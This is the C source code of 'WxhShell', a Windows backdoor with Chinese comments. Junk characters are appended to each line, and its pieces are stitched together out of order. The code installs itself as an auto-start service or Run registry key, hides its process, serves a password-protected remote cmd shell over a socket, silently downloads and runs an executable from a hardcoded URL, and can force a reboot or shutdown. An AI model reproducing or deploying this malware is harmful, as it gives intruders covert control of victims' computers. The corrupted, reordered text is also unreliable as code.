    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OLE@35"v]  
    if(Boot(SHUTDOWN)) iLk"lcX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r1a/'+   
    else { S N ;1F  
    closesocket(wsh); vl>_;} W7  
    ExitThread(0); ks7id[~&iY  
    } $ E-c%-  
    break; [B@R(z=H  
    } iD) P6"  
  // 获取shell g:2\S=  
  case 's': { Cig! 3  
    CmdShell(wsh); S9{&.[O  
    closesocket(wsh); 2[I[I*"_d  
    ExitThread(0); 4$ ^rzAi5  
    break; :RDQP  
  } d;v<rw  
  // 退出 .(Tf$V  
  case 'x': { <(_${zR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :wz]d ~)  
    CloseIt(wsh); QRHM#v S  
    break; cF}9ldc  
    } HY,VJxR[  
  // 离开 sWFw[ Y>  
  case 'q': { @<z#a9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q8H9au&/  
    closesocket(wsh); hx hs>eY  
    WSACleanup(); >o5eyi  
    exit(1); ^w*&7.Z  
    break; Rf TG 5E)  
        } ,:pKNWY)Q  
  } b5?k)s2  
  } d=/a{lP\  
>x8~?)7z  
  // 提示信息 ;aImz*1%t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bYwe/sR  
} DEt;$>tl 5  
  } "#]V^Rzxh  
So]O`RJv  
  return; \:>eZl?  
} r<pt_Cd  
q],/%W  
// shell模块句柄 # 66vkf*  
int CmdShell(SOCKET sock) j1K?QH=e#{  
{ >=YQxm}GJ  
STARTUPINFO si; b X4]/4%  
ZeroMemory(&si,sizeof(si)); lB(P+yY,/'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YzYj/,?r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /Y8{?  
PROCESS_INFORMATION ProcessInfo; }u.1$Y  
char cmdline[]="cmd"; A?H.EZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %:Y'+!bX  
  return 0; hD,@>ky  
} VL2ACv(  
UQ~gjnb[c  
// 自身启动模式 3$P GLM  
int StartFromService(void) pXf5/u8&  
{ 2o1 RJk9  
typedef struct YLid2aF  
{ VV"1IR  
  DWORD ExitStatus; \= Wrh3  
  DWORD PebBaseAddress; D`NQEt"(  
  DWORD AffinityMask; c1h?aP  
  DWORD BasePriority; Z(hRwIOF  
  ULONG UniqueProcessId; I ka V g L  
  ULONG InheritedFromUniqueProcessId; ;k8U5=6a  
}   PROCESS_BASIC_INFORMATION; fX}dQN~z  
!==C@cH<N  
PROCNTQSIP NtQueryInformationProcess; zqm/<]A*l  
;c|G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4n/CS AT1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8[d6 s  
:2-!bLo}&  
  HANDLE             hProcess; ,e+S7 YX  
  PROCESS_BASIC_INFORMATION pbi; ^A$p)`KR  
J4jL%5t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jo ~p#l.'  
  if(NULL == hInst ) return 0; H~~>ut6`  
Q*]y=Za#:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]-g4C t_V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'Ug-64f>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L%fJH_$_s  
i~.9 B7hdE  
  if (!NtQueryInformationProcess) return 0; XZ_vbYTj  
=QW:},sp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e'&<DE)  
  if(!hProcess) return 0; leO..M  
ef]60OtP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UE K$  
v v]rXJu1  
  CloseHandle(hProcess); ThYHVJ[;  
CChCxB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B/b S:  
if(hProcess==NULL) return 0; z+X DN:  
~jM!8]=  
HMODULE hMod; Yjix]lUXVf  
char procName[255]; X XC(R  
unsigned long cbNeeded; U[c^xz&  
sU;aA0kz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qm|T<zsDY#  
pR7D3Q:^7  
  CloseHandle(hProcess); d1n*wVl  
<amdPo+2D  
if(strstr(procName,"services")) return 1; // 以服务启动 t"FB}%G  
6F08$,%Y  
  return 0; // 注册表启动  bj U]]  
} j(];b+>  
BYXMbx  
// 主模块 ;09U*S$eK  
int StartWxhshell(LPSTR lpCmdLine) gIcm`5+T  
{ #B8V2_M  
  SOCKET wsl; 6"_ytqw7  
BOOL val=TRUE; rPF2IS(5  
  int port=0; XV:icY  
  struct sockaddr_in door; Q5/BEUkC  
gshgl3   
  if(wscfg.ws_autoins) Install(); b[ .pD3  
17@#"uT0  
port=atoi(lpCmdLine); mE3M$2}  
ec"+Il  
if(port<=0) port=wscfg.ws_port; p|VgtQ/ )%  
4'U #<8  
  WSADATA data; Wf5ohXm>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m7NrS?7  
p^?]xD(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jt4c*0z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <h mRr  
  door.sin_family = AF_INET; KcF#c_f   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =Vi>?fWpn=  
  door.sin_port = htons(port); 4%,E;fB?=  
~+bSD<!b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P|kfPohI=  
closesocket(wsl); nZ~J &QK-  
return 1; >e9xM Gv  
} gukKa  
4: S-  
  if(listen(wsl,2) == INVALID_SOCKET) { a29rD$  
closesocket(wsl); $+p4X# _  
return 1; v="2p8@F  
} F}{uY(hv"[  
  Wxhshell(wsl); A#8Dv&$Pr  
  WSACleanup(); 0Nq6>^ %  
EHcgWlT u  
return 0; tU, >EbwO  
EmubpUS;  
} q5u"v  
ahqsbNu1  
// 以NT服务方式启动 j;_ >,\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A"R5Fd%6pc  
{ }^}ep2^  
DWORD   status = 0; Jevr.&;O  
  DWORD   specificError = 0xfffffff; K9+%rqC.|`  
?s5hck hh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _!?iiO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ucgp=bye  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j3)fmlA  
  serviceStatus.dwWin32ExitCode     = 0;  v{ *#  
  serviceStatus.dwServiceSpecificExitCode = 0; @G:aW\Z  
  serviceStatus.dwCheckPoint       = 0; N!W2O>VS  
  serviceStatus.dwWaitHint       = 0; 6A*k  
vILq5iR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3v7*@(y  
  if (hServiceStatusHandle==0) return; H3qM8_GUA  
|% xgob  
status = GetLastError(); Q R<q[@)F  
  if (status!=NO_ERROR) DSc:>G  
{ p:CpY'KV_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D+xHTQNTL  
    serviceStatus.dwCheckPoint       = 0; `dK%I  U  
    serviceStatus.dwWaitHint       = 0; t +@UC+aW  
    serviceStatus.dwWin32ExitCode     = status; $l<(*,,l  
    serviceStatus.dwServiceSpecificExitCode = specificError; kqyPb$Wy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tv8}O([  
    return; mu#  a  
  } (_$'e%G0  
 2/v9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mq*Efb)!  
  serviceStatus.dwCheckPoint       = 0; +-+%6O<C  
  serviceStatus.dwWaitHint       = 0; =&xN dc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #gd`X|<Ch  
} KG8Km  
>)p8^jX   
// 处理NT服务事件,比如:启动、停止 d-sK{ZC"y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T`gR&n<D  
{ XlHt(d0h  
switch(fdwControl) 1T@#gE["Ic  
{ o2#_CdU   
case SERVICE_CONTROL_STOP: ilpP"B  
  serviceStatus.dwWin32ExitCode = 0; ^ ;XJG9a0\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?7"6d p_K  
  serviceStatus.dwCheckPoint   = 0; =w <;tb  
  serviceStatus.dwWaitHint     = 0; sGs_w:Hn  
  { 7.N~e}p 8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \OX;ZVb?5  
  } fNTe_akp  
  return; eJ O+MurO  
case SERVICE_CONTROL_PAUSE: ^CWxYDG*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }Uc)iNU  
  break; >p|tIST  
case SERVICE_CONTROL_CONTINUE: mcFJ__3MAV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x\MzMQ#Bf  
  break; xgV(0H}Mf  
case SERVICE_CONTROL_INTERROGATE: 0.}WZAYy~  
  break; ygn]f*;?kw  
}; hxQx$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JXA!l ?%  
} !<2%N3l  
Mp`2[S@$  
// 标准应用程序主函数 TowRY=#jiS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ! >l)*jN8  
{ V$';B=M  
i r/-zp_  
// 获取操作系统版本 (^4V]N&  
OsIsNt=GetOsVer(); heN?lmC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ueD_<KjE=  
4itadQS  
  // 从命令行安装 %;-] HI  
  if(strpbrk(lpCmdLine,"iI")) Install(); mxQPOu  
>^5U XQr  
  // 下载执行文件 Bc^ MZ~+ip  
if(wscfg.ws_downexe) { JNZ  O7s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mM6X0aM  
  WinExec(wscfg.ws_filenam,SW_HIDE); i{+W62k*  
} Sdn4y(&TP  
Td"_To@jd  
if(!OsIsNt) { "cVJqW  
// 如果时win9x,隐藏进程并且设置为注册表启动 jj$D6f/mOG  
HideProc(); 7g&"clRGO  
StartWxhshell(lpCmdLine); oPCtLz}z  
} x'IYWo ]  
else (_aM26s  
  if(StartFromService()) gJUawK  
  // 以服务方式启动 *[SOz)  
  StartServiceCtrlDispatcher(DispatchTable); Nxd<#p  
else { *&Wc Os  
  // 普通方式启动 y.PsC '  
  StartWxhshell(lpCmdLine); rE[:j2HF  
i,z^#b7JQ  
return 0; $63_* 9  
} aUTXg60l*  
rM y(NAo_  
zs<2Ozv  
d=v{3*a_4,  
=========================================== =Mby;wQ?|  
;Or]x?-  
q{:]D(   
pDloew  
,6iXlch  
Je1'0h9d  
" Q?uHdmY*X  
C@#KZ`c)  
#include <stdio.h> N!#0O.6  
#include <string.h> aI'MVKwMk  
#include <windows.h> TyG;BF|rwk  
#include <winsock2.h> Y_SB3 $])  
#include <winsvc.h> }Jr!a M'  
#include <urlmon.h> v:7_ZD6kR  
aViZKps`m  
#pragma comment (lib, "Ws2_32.lib") ~As/cd>9  
#pragma comment (lib, "urlmon.lib") &oXN*$/dlJ  
 a\@k5?  
#define MAX_USER   100 // 最大客户端连接数 J+o6*t2|  
#define BUF_SOCK   200 // sock buffer _ a`J>~$  
#define KEY_BUFF   255 // 输入 buffer _d`)N  
&u}]3E'-k  
#define REBOOT     0   // 重启 :*6#(MX  
#define SHUTDOWN   1   // 关机 ,u&K(Z%  
|Y")$pjz  
#define DEF_PORT   5000 // 监听端口 W8><  
6PyODW;R/5  
#define REG_LEN     16   // 注册表键长度 P1>?crw  
#define SVC_LEN     80   // NT服务名长度 &4R -5i2a  
]QJWqY  
// 从dll定义API ![l`@NH[U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1@"os[ 9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); alV{| Vf[6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Wn kIi,<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \]y /EOT  
KW 78J~u+  
// wxhshell配置信息 u4QBD5T"  
struct WSCFG { dum(T  
  int ws_port;         // 监听端口 (l ]_0-Z  
  char ws_passstr[REG_LEN]; // 口令 zS<idy F`  
  int ws_autoins;       // 安装标记, 1=yes 0=no px>g  
  char ws_regname[REG_LEN]; // 注册表键名 #x|IEjoa  
  char ws_svcname[REG_LEN]; // 服务名 7~2c"WE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E-?@9!2 &  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~qu}<u)P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /ho7O/aAa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JMVh\($,x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A/A; '9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +{dJGPoY]p  
E$1P H)  
}; | ycN)zuE  
H b}(.`  
// default Wxhshell configuration T}r}uw`  
struct WSCFG wscfg={DEF_PORT, 7LrWS83  
    "xuhuanlingzhe", )r|Pm-:A{  
    1, cf{rK`Ff^  
    "Wxhshell", IQNvhl.{  
    "Wxhshell", @||GMA+|  
            "WxhShell Service", UJ^MS4;I3  
    "Wrsky Windows CmdShell Service", 8^2E77s4U  
    "Please Input Your Password: ", dZIruZ)x  
  1, X*QQVj  
  "http://www.wrsky.com/wxhshell.exe", 2Cgq&\wS  
  "Wxhshell.exe" eX3|<Bf  
    }; 3@8Zy:[8<  
kl[Jt)"4@  
// 消息定义模块 oa q!<lI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dm`:']?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U0fr\kM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z5q(  
char *msg_ws_ext="\n\rExit."; c)B <d#  
char *msg_ws_end="\n\rQuit."; 9JBVG~m+  
char *msg_ws_boot="\n\rReboot..."; |:b!e  
char *msg_ws_poff="\n\rShutdown..."; >uy(N  
char *msg_ws_down="\n\rSave to "; ;/s##7qf  
&wea]./B  
char *msg_ws_err="\n\rErr!"; Zg;%$ kSQ  
char *msg_ws_ok="\n\rOK!"; q2}6lf,J K  
[Zj6v a  
char ExeFile[MAX_PATH]; @ ?CEi#-  
int nUser = 0; 0Ma3  
HANDLE handles[MAX_USER]; !'f.g|a  
int OsIsNt; ,%4~ulKMn  
W)p?cK`  
SERVICE_STATUS       serviceStatus; <4,LTB]9-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  Ds@nuQ  
C]GW u~QF  
// 函数声明 [\,Jy8t)\  
int Install(void); </-aG[Fi  
int Uninstall(void); a"bael  
int DownloadFile(char *sURL, SOCKET wsh); #.W^7}H  
int Boot(int flag); ?f&O4H  
void HideProc(void); gv}J"anD  
int GetOsVer(void); /pYp, ak  
int Wxhshell(SOCKET wsl); %z "${ zw  
void TalkWithClient(void *cs); SsfHp  
int CmdShell(SOCKET sock); 7j~}M(s"  
int StartFromService(void); &{z RuF  
int StartWxhshell(LPSTR lpCmdLine); (>M? iB  
Gq0Q}[53  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CEl9/"0s6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _4-UM2o;  
;!Q}g19C  
// 数据结构和表定义 kDWMget$  
SERVICE_TABLE_ENTRY DispatchTable[] = /j$`Cq3I  
{ 'd |*n#Dqc  
{wscfg.ws_svcname, NTServiceMain}, }+dDGFk  
{NULL, NULL} *9)yN[w  
}; !v68`l15  
(y!V0iy]  
// 自我安装 ds "N*\.  
int Install(void) 9D,/SZ-v  
{ rJw Ws  
  char svExeFile[MAX_PATH]; U])$#/ v  
  HKEY key; Q1^kU0M}  
  strcpy(svExeFile,ExeFile); -4LckY=]1  
" gQJeMU  
// 如果是win9x系统,修改注册表设为自启动 :@]%n~x  
if(!OsIsNt) { 45U!\mG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r31)Ed$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~tB#Q6`nB  
  RegCloseKey(key); ~d"9?K^#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kmur={IR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @;`d\lQ  
  RegCloseKey(key); "U o~fJ  
  return 0; BVe c  
    } Y"UB\_=  
  } u=f}t=3  
} D V=xqC6}  
else { nk.j7tu  
FfpP<(4  
// 如果是NT以上系统,安装为系统服务 eiJ~1H X)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7 (pl HW|  
if (schSCManager!=0) i(an]%'v  
{ QUK v :;  
  SC_HANDLE schService = CreateService Ac8t>;=&  
  ( Mi:i1i cdn  
  schSCManager, v18OUPPX  
  wscfg.ws_svcname, v!6IH  
  wscfg.ws_svcdisp, F/w*[Xi Sh  
  SERVICE_ALL_ACCESS, $b`~KMO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4H_QQ6  
  SERVICE_AUTO_START, e=sV>z>  
  SERVICE_ERROR_NORMAL, u )k Q*&  
  svExeFile, '@G=xYR  
  NULL, fp?cb2'7  
  NULL, {vox x&UX  
  NULL, O%*:fd,o-  
  NULL,  Vl`!6.F3  
  NULL \kEC|O)8  
  ); LtVIvZie  
  if (schService!=0) )JXy>q#  
  { YES-,;ZQ'  
  CloseServiceHandle(schService); q"$C)o  
  CloseServiceHandle(schSCManager); xM2UwTpW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +~\1g^h  
  strcat(svExeFile,wscfg.ws_svcname); G6q*U,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f(E[jwy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &@fW6},iW  
  RegCloseKey(key); 0T.kwZ8  
  return 0;  >^J  
    } |H&&80I  
  } h%8C_m A  
  CloseServiceHandle(schSCManager); o@uZU4MM  
} y7U?nP ')+  
} <m0m8p"G  
\%Lj !\  
return 1; *yqke<o9)  
} Mt\.?V:  
ZYs?65.  
// 自我卸载 3_N1y  
int Uninstall(void) k~IRds@G  
{ [Y-3C47  
  HKEY key; Z}yd` 7  
1BOv|xPjZ  
if(!OsIsNt) { EFz Pt?l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8)XAdAr  
  RegDeleteValue(key,wscfg.ws_regname); ,)PpE&  
  RegCloseKey(key); ;uN&yj<}a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zy=DY  
  RegDeleteValue(key,wscfg.ws_regname); 6!Uk c'r  
  RegCloseKey(key); ()(^B}VK  
  return 0; 0 LQ%tn  
  } 9T%b#~?3P  
} ",P?jgs^g5  
} H?wf%0  
else { EqF>=5*  
K8{ef  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ui<Mnm_T;d  
if (schSCManager!=0) _3zJ.%  
{ Iwe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i0'g$  
  if (schService!=0) F!zGk(Pu  
  { =k##*%  
  if(DeleteService(schService)!=0) { Z.,pcnaQb  
  CloseServiceHandle(schService); !dOpLUh l  
  CloseServiceHandle(schSCManager); C=x70Y/  
  return 0; k|3hs('y|  
  } cQrXrij;!  
  CloseServiceHandle(schService); l0=VE#rFl  
  } 9yWSlbPr]  
  CloseServiceHandle(schSCManager); Kj/Lcx;bh  
} x\aCZ  
} =+w/t9I[  
hQwUw foe@  
return 1; 21 z@-&Oq  
} <{IeCir  
TFDzTD  
// 从指定url下载文件 "GX k;Y  
int DownloadFile(char *sURL, SOCKET wsh) N14Q4v-*x  
{ FB2{qG3  
  HRESULT hr; Wn&9R j  
char seps[]= "/"; ZwM d 22  
char *token; 3u/ GrsF  
char *file; N*SUA4bnuM  
char myURL[MAX_PATH]; @`XbM7D 5  
char myFILE[MAX_PATH]; 58t~? 2E  
h(p c GE  
strcpy(myURL,sURL); O:Wd ,3_  
  token=strtok(myURL,seps); p<c1$O*  
  while(token!=NULL) &"d :+!4h  
  { &Xh=bM'/%m  
    file=token; uTNy{RBD+  
  token=strtok(NULL,seps); uoTc c|Kc  
  } A9y@v{txN  
\ 0.!al0  
GetCurrentDirectory(MAX_PATH,myFILE); 't+'rG6x  
strcat(myFILE, "\\"); =Y*zF>#lP  
strcat(myFILE, file); =\)76xC20  
  send(wsh,myFILE,strlen(myFILE),0); \?[m%$A  
send(wsh,"...",3,0); i4lB ]k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &n]]OPo  
  if(hr==S_OK) g=jB'h?  
return 0; '#lc?Y(pJ2  
else 85BB{ T;  
return 1; }c=YiH,o  
EpK7VW  
} m O"Rq5  
sN ZOm$  
// 系统电源模块 R0e!b+MZ.  
int Boot(int flag) C:z7R" yj  
{ IwR=@Ne8  
  HANDLE hToken; O)c3Lm-w  
  TOKEN_PRIVILEGES tkp; o.wXaS8  
z`sW5K(A  
  if(OsIsNt) { f('##pND@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BO0Y#fs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~^>g<YR[  
    tkp.PrivilegeCount = 1; (dP9`Na]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2XyC;RWJ%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DI[  
if(flag==REBOOT) { !eP0b~$/^J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HpS1(%d"  
  return 0; .J?RaH{i  
} rh T!8dTk  
else { ^ # 3,*(S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M$e$%kPShE  
  return 0; Rm Q>.?  
} ge#P(Itz  
  } e}iv vs2  
  else { $]MOAj"LH  
if(flag==REBOOT) { H[N~)3x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cFHSMRB|P  
  return 0; vj"['6Xa  
} KN~Repcz@  
else { uFL!* #A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xP &@|Ag  
  return 0; 3 <Zo{;  
} -Fc 9mv(H  
} kfq<M7y  
o3HS|  
return 1; %>t4ib_8  
} *_"lXcG.  
orhze Oi\  
// win9x进程隐藏模块 0oo_m6ie&  
void HideProc(void) m}+_z^@j9  
{ 4"eeEs h  
hA+;eXy/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M1I4Ot  
  if ( hKernel != NULL ) tDtqTB}  
  { Qm4cuV-0{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5Zl7crA[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }DQ[C&  
    FreeLibrary(hKernel); 9`!#5i)VU8  
  } /Q'O]h0a  
le2 v"Y  
return; -l{ wB"  
} h([qq<Lzs  
y2Vc[o(NP  
// 获取操作系统版本 yppXecFJ  
int GetOsVer(void) XQcE  ZJ2  
{ 'Me(qpsq  
  OSVERSIONINFO winfo; 5K00z?kD2V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M] W5 %3do  
  GetVersionEx(&winfo); LP) IL~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QY$4D;M`g6  
  return 1; ^ ?T,>ZI  
  else sNJ?Z"5k1h  
  return 0; P c vA/W  
} u43-\=1$T  
ihIRB9  
// 客户端句柄模块 \{1Vjo  
int Wxhshell(SOCKET wsl) xt8@l [Z  
{ 9\i^.2&  
  SOCKET wsh;  9 'IDbe{  
  struct sockaddr_in client; ^@]yiED{g  
  DWORD myID; aq8mD^j-&  
cd$,,  
  while(nUser<MAX_USER) }TU2o3Q  
{ (ewcj\l4*  
  int nSize=sizeof(client); IXsOTBM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "~T06!F45  
  if(wsh==INVALID_SOCKET) return 1; <"`P;,S  
!&o>zU.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =A; 79@bY  
if(handles[nUser]==0) K555z+,'e  
  closesocket(wsh); ; .hTfxE0  
else ]v.Yt/&C{  
  nUser++; /!-ypIY  
  } sE0,b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O9Yk5b;  
L'a>D  
  return 0; {>l`P{{y  
} K_V$ktL  
0vM,2:kf*  
// 关闭 socket ;+Mr|vweTC  
void CloseIt(SOCKET wsh) DkBVk+  
{ e3kdIOu5  
closesocket(wsh); IE&G7\>(yO  
nUser--; Zh_ P  
ExitThread(0); < !]7Gt  
} AI2>{V  
VM"*@T  
// 客户端请求句柄 7s1LK/R|u  
void TalkWithClient(void *cs) NjSjE_S2B8  
{  34~[dY  
cS"PIelR  
  SOCKET wsh=(SOCKET)cs; {1W,-%  
  char pwd[SVC_LEN]; %$F\o1S  
  char cmd[KEY_BUFF]; K|.!)L  
char chr[1]; .,SWa;[iB  
int i,j; 7,3v,N|  
]yA_N>k2K  
  while (nUser < MAX_USER) { eXMl3Lxf  
C-ipxL"r  
if(wscfg.ws_passstr) { HO;,Ya^l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }pv<<7}|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U KdCG.E9^  
  //ZeroMemory(pwd,KEY_BUFF); jI807g+  
      i=0; vC5y]1QDd  
  while(i<SVC_LEN) { eh$T 3_#q  
q.PXO3T  
  // 设置超时 L!kbDbqn  
  fd_set FdRead; Ib$?[  
  struct timeval TimeOut; ;EfREfk  
  FD_ZERO(&FdRead); 3(La)|k  
  FD_SET(wsh,&FdRead); _95`w9  
  TimeOut.tv_sec=8; p\M\mK  
  TimeOut.tv_usec=0; c(0Ez@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1 *$-.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5[$jrG\!  
>]WQ1E[=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5K?%Eo72!=  
  pwd=chr[0]; +)TOcxF%  
  if(chr[0]==0xd || chr[0]==0xa) { yy|F6Pq3`  
  pwd=0; Le}-F{~`^  
  break; ;]SP~kG  
  } #[Vk#BIiv8  
  i++; pJ]i)$M  
    } 3UQ~U 8  
(Y]G6> Oa  
  // 如果是非法用户,关闭 socket PQ[x A*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G G[$-  
} MM4Eq>F/  
CEp @-R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8VZLwhj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O PVc T  
XRR`GBI  
while(1) { X7& ^"|:  
Y/< ],1U  
  ZeroMemory(cmd,KEY_BUFF); ?TVR{e:  
Fs)m;C  
      // 自动支持客户端 telnet标准   .=4k'99,  
  j=0; v"G)G)*z  
  while(j<KEY_BUFF) { d/`Q,Vl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NI?YUhg>  
  cmd[j]=chr[0]; uSK<{UT~3  
  if(chr[0]==0xa || chr[0]==0xd) { $WK~|+"{>  
  cmd[j]=0; ~gvw6e*[  
  break; {F+iL&e)  
  } n:[GK_  
  j++; 9dD;Z$x&Xk  
    } -dsE9)&8DX  
]AzDkKj  
  // 下载文件 uPtS.j=  
  if(strstr(cmd,"http://")) { "+:IA|1wD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Se-n#  
  if(DownloadFile(cmd,wsh)) \)n'Ywr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >0qe*4n|M  
  else iu 6NIy7D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $N)b6(}F10  
